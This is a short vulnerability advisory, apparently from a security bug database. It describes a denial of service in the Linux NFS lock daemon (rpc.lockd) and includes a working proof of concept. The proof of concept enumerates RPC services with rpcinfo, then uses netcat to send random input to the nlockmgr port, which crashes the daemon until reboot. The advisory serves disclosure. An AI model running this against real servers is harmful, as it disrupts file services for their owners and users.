source: http://www.securityfocus.com/bid/1372/info

A denial of service attack exists in the NFS lock daemon supplied with Linux. By connecting to the port rpc.lockd is running on, and supplying random input, it will cause lockd to exit with an error. The socket associated with rpc.lockd is also not properly released, and cannot be rebound to without a reboot.

This vulnerability most likely affects all Linux distributions running NFS. 

[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]# nc -p 1000 target 1024
alksdjfalskdjfsdafs
Here, I issued a Ctrl-C to get out of netcat, and got:
punt!
[root@hiro /]#
[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]#